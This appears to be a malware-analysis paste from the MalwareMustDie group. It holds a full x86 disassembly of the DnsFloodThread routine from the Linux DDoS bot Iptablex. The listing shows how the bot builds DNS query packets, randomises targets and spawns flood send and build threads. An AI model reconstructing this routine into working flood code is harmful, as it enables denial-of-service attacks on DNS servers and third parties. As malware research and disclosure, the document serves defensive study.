; DNS Flood thread #MalwareMustDie - @unixfreaxjp /malware/Iptablex]$ date
; Mon Jun 16 14:08:17 JST 2014
.text:08049080 public DnsFloodThread
.text:08049080 DnsFloodThread proc near
.text:08049080 var_C8 = dword ptr -0C8h
.text:08049080 var_C4 = dword ptr -0C4h
.text:08049080 var_C0 = dword ptr -0C0h
.text:08049080 var_BC = dword ptr -0BCh
.text:08049080 var_B8 = dword ptr -0B8h
.text:08049080 var_B4 = dword ptr -0B4h
.text:08049080 var_B0 = dword ptr -0B0h
.text:08049080 var_AC = dword ptr -0ACh
.text:08049080 var_A8 = dword ptr -0A8h
.text:08049080 var_A0 = dword ptr -0A0h
.text:08049080 var_9C = dword ptr -9Ch
.text:08049080 var_98 = dword ptr -98h
.text:08049080 var_94 = dword ptr -94h
.text:08049080 var_90 = dword ptr -90h
.text:08049080 var_8C = dword ptr -8Ch
.text:08049080 var_88 = dword ptr -88h
.text:08049080 var_84 = byte ptr -84h
.text:08049080 var_80 = dword ptr -80h
.text:08049080 var_7C = word ptr -7Ch
.text:08049080 var_7A = word ptr -7Ah
.text:08049080 var_78 = dword ptr -78h
.text:08049080 var_74 = word ptr -74h
.text:08049080 var_70 = dword ptr -70h
.text:08049080 var_64 = dword ptr -64h
.text:08049080 var_60 = dword ptr -60h
.text:08049080 var_5C = dword ptr -5Ch
.text:08049080 var_58 = dword ptr -58h
.text:08049080 var_54 = dword ptr -54h
.text:08049080 var_50 = byte ptr -50h
.text:08049080 var_4C = dword ptr -4Ch
.text:08049080 var_48 = dword ptr -48h
.text:08049080 var_44 = dword ptr -44h
.text:08049080 var_40 = dword ptr -40h
.text:08049080 var_3C = dword ptr -3Ch
.text:08049080 var_38 = dword ptr -38h
.text:08049080 var_34 = dword ptr -34h
.text:08049080 var_30 = dword ptr -30h
.text:08049080 var_2C = dword ptr -2Ch
.text:08049080 var_28 = dword ptr -28h
.text:08049080 var_24 = dword ptr -24h
.text:08049080 var_20 = dword ptr -20h
.text:08049080 var_1C = dword ptr -1Ch
.text:08049080 var_18 = dword ptr -18h
.text:08049080 var_14 = dword ptr -14h
.text:08049080 var_10 = dword ptr -10h
.text:08049080 arg_0 = dword ptr 8
.text:08049080 push ebp
.text:08049081 mov ecx, 10h
.text:08049086 mov ebp, esp
.text:08049088 push edi
.text:08049089 push esi
.text:0804908A push ebx
.text:0804908B lea eax, [ebp+var_4C]
.text:0804908E sub esp, 0BCh ; fd
.text:08049094 mov esi, [ebp+arg_0]
.text:08049097 mov [ebp+var_B4], eax
.text:0804909D mov edi, [ebp+var_B4]
.text:080490A3 xor eax, eax
.text:080490A5 cld
.text:080490A6 lea ebx, [esi+10h]
.text:080490A9 rep stosd
.text:080490AB mov eax, [esi+10h]
.text:080490AE mov [ebp+var_4C], eax
.text:080490B1 mov eax, [ebx+4]
.text:080490B4 mov [ebp+var_48], eax
.text:080490B7 mov eax, [ebx+8]
.text:080490BA mov [ebp+var_44], eax
.text:080490BD mov eax, [ebx+0Ch]
.text:080490C0 mov [ebp+var_40], eax
.text:080490C3 mov eax, [ebx+10h]
.text:080490C6 mov [ebp+var_3C], eax
.text:080490C9 mov eax, [ebx+14h]
.text:080490CC mov [ebp+var_38], eax
.text:080490CF mov eax, [ebx+18h]
.text:080490D2 mov [ebp+var_34], eax
.text:080490D5 mov eax, [ebx+1Ch]
.text:080490D8 mov [ebp+var_30], eax
.text:080490DB mov eax, [ebx+20h]
.text:080490DE mov [ebp+var_2C], eax
.text:080490E1 mov eax, [ebx+24h]
.text:080490E4 mov [ebp+var_28], eax
.text:080490E7 mov eax, [ebx+28h]
.text:080490EA mov [ebp+var_24], eax
.text:080490ED mov eax, [ebx+2Ch]
.text:080490F0 mov [ebp+var_20], eax
.text:080490F3 mov eax, [ebx+30h]
.text:080490F6 mov [ebp+var_1C], eax
.text:080490F9 mov eax, [ebx+34h]
.text:080490FC mov [ebp+var_18], eax
.text:080490FF mov eax, [ebx+38h]
.text:08049102 mov [ebp+var_14], eax
.text:08049105 mov eax, [ebx+3Ch]
.text:08049108 mov [esp+0C8h+var_C0], 60h
.text:08049110 mov [esp+0C8h+var_C4], 0
.text:08049118 mov [ebp+var_10], eax
.text:0804911B lea eax, [ebp+var_AC]
.text:08049121 mov [esp+0C8h+var_C8], eax
.text:08049124 call memset
.text:08049129 mov eax, [esi]
.text:0804912B mov ecx, ebx
.text:0804912D mov [ebp+var_78], eax
.text:08049130 mov eax, [esi+4]
.text:08049133 mov edi, [esi+64h]
.text:08049136 mov [ebp+var_74], ax
.text:0804913A
.text:0804913A loc_804913A:
.text:0804913A mov eax, [ecx]
.text:0804913C add ecx, 4
.text:0804913F lea edx, [eax-1010101h]
.text:08049145 not eax
.text:08049147 and edx, eax
.text:08049149 and edx, 80808080h
.text:0804914F jz short loc_804913A
.text:08049151 test edx, 8080h
.text:08049157 jnz short loc_804915F
.text:08049159 shr edx, 10h
.text:0804915C add ecx, 2
.text:0804915F
.text:0804915F loc_804915F:
.text:0804915F add dl, dl
.text:08049161 sbb ecx, 3
.text:08049164 sub ecx, ebx
.text:08049166 add ecx, 2
.text:08049169 mov [ebp+var_B0], ecx
.text:0804916F movzx eax, word ptr [ebp+var_B0]
.text:08049176 mov [esp+0C8h+var_C8], 0
.text:0804917D add eax, 2Dh
.text:08049180 mov word ptr [ebp+var_94+2], ax
.text:08049187 call time
.text:0804918C mov [ebp+var_A0], eax
.text:08049192 mov eax, dword ptr ds:g_mainsrvinfo+10h
.text:08049197 mov [esp+0C8h+var_C8], eax
.text:0804919A call GetSocketIp
.text:0804919F lea edx, [esi+50h]
.text:080491A2 mov [ebp+var_98], 0
.text:080491AC mov [ebp+var_84], 0
.text:080491B3 mov [ebp+var_50], 1
.text:080491B7 mov ecx, eax
.text:080491B9 ror cx, 8
.text:080491BD ror ecx, 10h
.text:080491C0 ror cx, 8
.text:080491C4 mov [ebp+var_9C], ecx
.text:080491CA mov eax, [esi+50h]
.text:080491CD mov [ebp+var_60], eax
.text:080491D0 mov eax, [edx+4]
.text:080491D3 mov [ebp+var_5C], eax
.text:080491D6 mov eax, [edx+8]
.text:080491D9 mov [ebp+var_58], eax
.text:080491DC mov eax, [edx+0Ch]
.text:080491DF mov [ebp+var_54], eax
.text:080491E2 test byte ptr [esi+8], 4
.text:080491E6 jnz loc_80492E0
.text:080491EC cmp edi, ecx
.text:080491EE ja loc_80492C0
.text:080491F4
.text:080491F4 loc_80491F4:
.text:080491F4 mov eax, dword ptr ds:g_mainsrvinfo+10h
.text:080491F9 mov [esp+0C8h+var_C8], eax
.text:080491FC call GetSocketIp
.text:08049201 mov [ebp+var_98], 0
.text:0804920B ror ax, 8
.text:0804920F ror eax, 10h
.text:08049212 ror ax, 8
.text:08049216 mov [ebp+var_9C], eax
.text:0804921C
.text:0804921C loc_804921C:
.text:0804921C mov ebx, [esi+68h]
.text:0804921F mov edi, [ebp+var_98]
.text:08049225 mov [esp+0C8h+var_C8], 0
.text:0804922C call time
.text:08049231 lea ebx, [ebx+eax+2]
.text:08049235 movzx eax, word ptr [esi+6Ch]
.text:08049239 mov [ebp+var_80], ebx
.text:0804923C mov [ebp+var_7C], ax
.text:08049240 movzx eax, word ptr [esi+6Eh]
.text:08049244 mov [ebp+var_7A], ax
.text:08049248 lea eax, [ebp+var_AC]
.text:0804924E mov [esi+80h], eax
.text:08049254 lea eax, [esi+78h]
.text:08049257 mov [esp+0C8h+var_BC], eax
.text:0804925B mov [esp+0C8h+var_C0], 0
.text:08049263 mov [esp+0C8h+var_C4], 1
.text:0804926B mov [esp+0C8h+var_C8], 1
.text:08049272 call socketpair
.text:08049277 test eax, eax
.text:08049279 jnz short loc_80492B1
.text:0804927B call fork
.text:08049280 cmp eax, 0
.text:08049283 jz short loc_80492FB
.text:08049285 jle loc_8049678
.text:0804928B mov [esi+74h], eax
.text:0804928E mov [esp+0C8h+var_C0], 0
.text:08049296 mov [esp+0C8h+var_C4], 0
.text:0804929E mov [esp+0C8h+var_C8], eax
.text:080492A1 call waitpid
.text:080492A6 lea eax, [ebp+var_60]
.text:080492A9 mov [esp+0C8h+var_C8], eax
.text:080492AC call DeleteTask
.text:080492B1
.text:080492B1 loc_80492B1:
.text:080492B1 mov [esp+0C8h+var_C8], 0
.text:080492B8 call pthread_exit
.text:080492BD lea esi, [esi+0]
.text:080492C0
.text:080492C0 loc_80492C0:
.text:080492C0 mov eax, dword ptr ds:g_mainsrvinfo+128h
.text:080492C5 cmp ecx, eax
.text:080492C7 jnb short loc_80492CF
.text:080492C9 mov [ebp+var_9C], eax
.text:080492CF
.text:080492CF loc_80492CF:
.text:080492CF mov eax, dword ptr ds:g_mainsrvinfo+12Ch
.text:080492D4 cmp edi, eax
.text:080492D6 jbe short loc_80492E0
.text:080492D8 mov edi, eax
.text:080492DA lea esi, [esi+0]
.text:080492E0
.text:080492E0 loc_80492E0:
.text:080492E0 mov eax, [ebp+var_9C]
.text:080492E6 cmp edi, eax
.text:080492E8 jbe loc_80491F4
.text:080492EE sub edi, eax
.text:080492F0 mov [ebp+var_98], edi
.text:080492F6 jmp loc_804921C
.text:080492FB
.text:080492FB loc_80492FB:
.text:080492FB lea eax, [ebp+var_AC]
.text:08049301 mov ds:rmsg, eax
.text:08049306 mov [esp+0C8h+var_C4], offset stopatk
.text:0804930E mov [esp+0C8h+var_C8], 0E8h
.text:08049315 call ssignal
.text:0804931A mov eax, [esi+7Ch]
.text:0804931D mov [esp+0C8h+var_C8], eax
.text:08049320 call close
.text:08049325 mov eax, [ebp+var_B0]
.text:0804932B add eax, 2
.text:0804932E mov [esp+0C8h+var_C8], eax
.text:08049331 call malloc
.text:08049336 mov [ebp+var_90], 0
.text:08049340 mov [ebp+var_AC], 0
.text:0804934A mov [ebp+var_A8], 0
.text:08049354 mov [ebp+var_88], eax
.text:0804935A movzx eax, word ptr [ebp+var_94+2]
.text:08049361 imul ebx, eax, 1389h
.text:08049367 mov [esp+0C8h+var_C8], ebx
.text:0804936A call malloc
.text:0804936F mov [esp+0C8h+var_C8], ebx
.text:08049372 mov [ebp+var_AC], eax
.text:08049378 call malloc
.text:0804937D mov [ebp+var_A8], eax
.text:08049383 mov eax, [ebp+var_88]
.text:08049389 mov [esp+0C8h+var_C4], eax
.text:0804938D lea eax, [ebp+var_4C]
.text:08049390 mov [esp+0C8h+var_C8], eax
.text:08049393 call dmpacket
.text:08049398 mov word ptr [ebp+var_94], ax
.text:0804939F mov eax, [ebp+var_AC]
.text:080493A5 test eax, eax
.text:080493A7 jz loc_804963E
.text:080493AD mov ecx, [ebp+var_A8]
.text:080493B3 test ecx, ecx
.text:080493B5 jz loc_8049636
.text:080493BB mov edx, [ebp+var_88]
.text:080493C1 test edx, edx
.text:080493C3 jz loc_8049636
.text:080493C9 mov [esp+0C8h+var_C0], ebx
.text:080493CD mov [esp+0C8h+var_C4], 0
.text:080493D5 mov [esp+0C8h+var_C8], eax
.text:080493D8 call memset
.text:080493DD mov eax, [ebp+var_A8]
.text:080493E3 mov [esp+0C8h+var_C0], ebx
.text:080493E7 xor ebx, ebx
.text:080493E9 mov [esp+0C8h+var_C4], 0
.text:080493F1 mov [esp+0C8h+var_C8], eax
.text:080493F4 call memset
.text:080493F9 lea esi, [esi+0]
.text:08049400
.text:08049400 loc_8049400:
.text:08049400 mov eax, [ebp+var_78]
.text:08049403 mov [esp+0C8h+var_C0], eax
.text:08049407 mov eax, [ebp+var_88]
.text:0804940D mov [esp+0C8h+var_C4], eax
.text:08049411 movzx eax, word ptr [ebp+var_94+2]
.text:08049418 imul eax, ebx
.text:0804941B add eax, [ebp+var_AC]
.text:08049421 mov [esp+0C8h+var_C8], eax
.text:08049424 call dnspacket
.text:08049429 mov eax, [ebp+var_78]
.text:0804942C mov [esp+0C8h+var_C0], eax
.text:08049430 mov eax, [ebp+var_88]
.text:08049436 mov [esp+0C8h+var_C4], eax
.text:0804943A movzx eax, word ptr [ebp+var_94+2]
.text:08049441 imul eax, ebx
.text:08049444 add eax, [ebp+var_A8]
.text:0804944A mov [esp+0C8h+var_C8], eax
.text:0804944D call dnspacket
.text:08049452 mov eax, [ebp+var_98]
.text:08049458 cmp eax, 1
.text:0804945B jbe short loc_8049467
.text:0804945D mov [esp+0C8h+var_C8], eax
.text:08049460 call Hbrand
.text:08049465 mov edi, eax
.text:08049467
.text:08049467 loc_8049467:
.text:08049467 mov eax, edi
.text:08049469 add eax, [ebp+var_9C]
.text:0804946F ror ax, 8
.text:08049473 ror eax, 10h
.text:08049476 ror ax, 8
.text:0804947A mov [esp+0C8h+var_BC], eax
.text:0804947E lea eax, [ebp+var_94]
.text:08049484 mov [esp+0C8h+var_C0], eax
.text:08049488 mov eax, [ebp+var_88]
.text:0804948E mov [esp+0C8h+var_C4], eax
.text:08049492 movzx eax, word ptr [ebp+var_94+2]
.text:08049499 imul eax, ebx
.text:0804949C add ebx, 1
.text:0804949F add eax, [ebp+var_AC]
.text:080494A5 mov [esp+0C8h+var_C8], eax
.text:080494A8 call ChangeDns
.text:080494AD cmp ebx, 1388h
.text:080494B3 jnz loc_8049400
.text:080494B9 mov eax, [ebp+var_AC]
.text:080494BF lea ebx, [ebp+var_70]
.text:080494C2 mov [ebp+var_50], 1
.text:080494C6 lea edi, [ebp+var_64]
.text:080494C9 mov [ebp+var_8C], eax
.text:080494CF
.text:080494CF loc_80494CF:
.text:080494CF mov [esp+0C8h+var_C8], 2710h
.text:080494D6 call usleep
.text:080494DB lea eax, [ebp+var_AC]
.text:080494E1 mov [esp+0C8h+var_C0], ebx
.text:080494E5 add ebx, 4
.text:080494E8 mov [esp+0C8h+var_B8], 1
.text:080494F0 mov [esp+0C8h+var_BC], 0
.text:080494F8 mov [esp+0C8h+var_C4], eax
.text:080494FC mov [esp+0C8h+var_C8], offset DnsFloodSendThread
.text:08049503 call HbCreateThread
.text:08049508 cmp ebx, edi
.text:0804950A jnz short loc_80494CF
.text:0804950C mov [esp+0C8h+var_C8], 4E20h
.text:08049513 call usleep
.text:08049518 lea eax, [ebp+var_AC]
.text:0804951E mov [esp+0C8h+var_B8], 1
.text:08049526 mov [esp+0C8h+var_BC], 1
.text:0804952E mov [esp+0C8h+var_C0], ebx
.text:08049532 mov [esp+0C8h+var_C4], eax
.text:08049536 mov [esp+0C8h+var_C8], offset DnsFloodBuildThread
.text:0804953D call HbCreateThread
.text:08049542 cmp [ebp+var_50], 0
.text:08049546 jnz short loc_8049588
.text:08049548 jmp short loc_804959B
.text:0804954A align 10h
.text:08049550
.text:08049550 loc_8049550:
.text:08049550 movzx eax, [ebp+var_7C]
.text:08049554 imul eax, 0F4240h
.text:0804955A mov [esp+0C8h+var_C8], eax
.text:0804955D call usleep
.text:08049562 movzx eax, [ebp+var_7A]
.text:08049566 mov [ebp+var_84], 1
.text:0804956D imul eax, 0F4240h
.text:08049573 mov [esp+0C8h+var_C8], eax
.text:08049576 call usleep
.text:0804957B cmp [ebp+var_50], 0
.text:0804957F mov [ebp+var_84], 0
.text:08049586 jz short loc_804959B
.text:08049588
.text:08049588 loc_8049588:
.text:08049588 mov ebx, [ebp+var_80]
.text:0804958B mov [esp+0C8h+var_C8], 0
.text:08049592 call time
.text:08049597 cmp ebx, eax
.text:08049599 jg short loc_8049550
.text:0804959B
.text:0804959B loc_804959B:
.text:0804959B mov [ebp+var_50], 0
.text:0804959F xor edi, edi
.text:080495A1 xor ebx, ebx
.text:080495A3 mov [esp+0C8h+var_C8], 186A0h
.text:080495AA call usleep
.text:080495AF
.text:080495AF loc_80495AF:
.text:080495AF mov eax, [ebp+ebx*4+var_70]
.text:080495B3 mov [esp+0C8h+var_C4], 64h
.text:080495BB mov [esp+0C8h+var_C8], eax
.text:080495BE call HbCheckThread
.text:080495C3 test eax, eax
.text:080495C5 jz short loc_80495D0
.text:080495C7 cmp edi, 1Dh
.text:080495CA jbe loc_8049684
.text:080495D0
.text:080495D0 loc_80495D0:
.text:080495D0 add ebx, 1
.text:080495D3 cmp ebx, 2
.text:080495D6 jg short loc_80495DC
.text:080495D8 xor edi, edi
.text:080495DA jmp short loc_80495AF
.text:080495DC
.text:080495DC loc_80495DC:
.text:080495DC xor ebx, ebx
.text:080495DE
.text:080495DE loc_80495DE:
.text:080495DE mov eax, [ebp+ebx*4+var_70]
.text:080495E2 add ebx, 1
.text:080495E5 mov [esp+0C8h+var_C8], eax
.text:080495E8 call HbExitThread
.text:080495ED cmp ebx, 3
.text:080495F0 jnz short loc_80495DE
.text:080495F2 xor bl, bl
.text:080495F4 jmp short loc_804960A
.text:080495F6
.text:080495F6 loc_80495F6:
.text:080495F6 cmp ebx, 1Eh
.text:080495F9 jz short loc_8049621
.text:080495FB add ebx, 1
.text:080495FE mov [esp+0C8h+var_C8], 186A0h
.text:08049605 call usleep
.text:0804960A
.text:0804960A loc_804960A:
.text:0804960A mov eax, [ebp+var_64]
.text:0804960D mov [esp+0C8h+var_C4], 64h
.text:08049615 mov [esp+0C8h+var_C8], eax
.text:08049618 call HbCheckThread
.text:0804961D test eax, eax
.text:0804961F jnz short loc_80495F6
.text:08049621
.text:08049621 loc_8049621:
.text:08049621 mov eax, [ebp+var_64]
.text:08049624 mov [esp+0C8h+var_C8], eax
.text:08049627 call HbExitThread
.text:0804962C mov eax, [ebp+var_AC]
.text:08049632 test eax, eax
.text:08049634 jz short loc_804963E
.text:08049636
.text:08049636 loc_8049636:
.text:08049636 mov [esp+0C8h+var_C8], eax
.text:08049639 call free
.text:0804963E
.text:0804963E loc_804963E:
.text:0804963E mov eax, [ebp+var_A8]
.text:08049644 test eax, eax
.text:08049646 jz short loc_8049650
.text:08049648 mov [esp+0C8h+var_C8], eax
.text:0804964B call free
.text:08049650
.text:08049650 loc_8049650:
.text:08049650 mov eax, [ebp+var_88]
.text:08049656 test eax, eax
.text:08049658 jz short loc_8049662
.text:0804965A mov [esp+0C8h+var_C8], eax
.text:0804965D call free
.text:08049662
.text:08049662 loc_8049662:
.text:08049662 mov dword ptr [esi+80h], 0
.text:0804966C mov [esp+0C8h+var_C8], 0
.text:08049673 call exit
.text:08049678
.text:08049678 loc_8049678:
.text:08049678 mov [esp+0C8h+var_C8], 0
.text:0804967F call exit
.text:08049684
.text:08049684 loc_8049684:
.text:08049684 add edi, 1
.text:08049687 mov [esp+0C8h+var_C8], 186A0h
.text:0804968E call usleep
.text:08049693 jmp loc_80495AF
.text:08049693 DnsFloodThread endp
Comments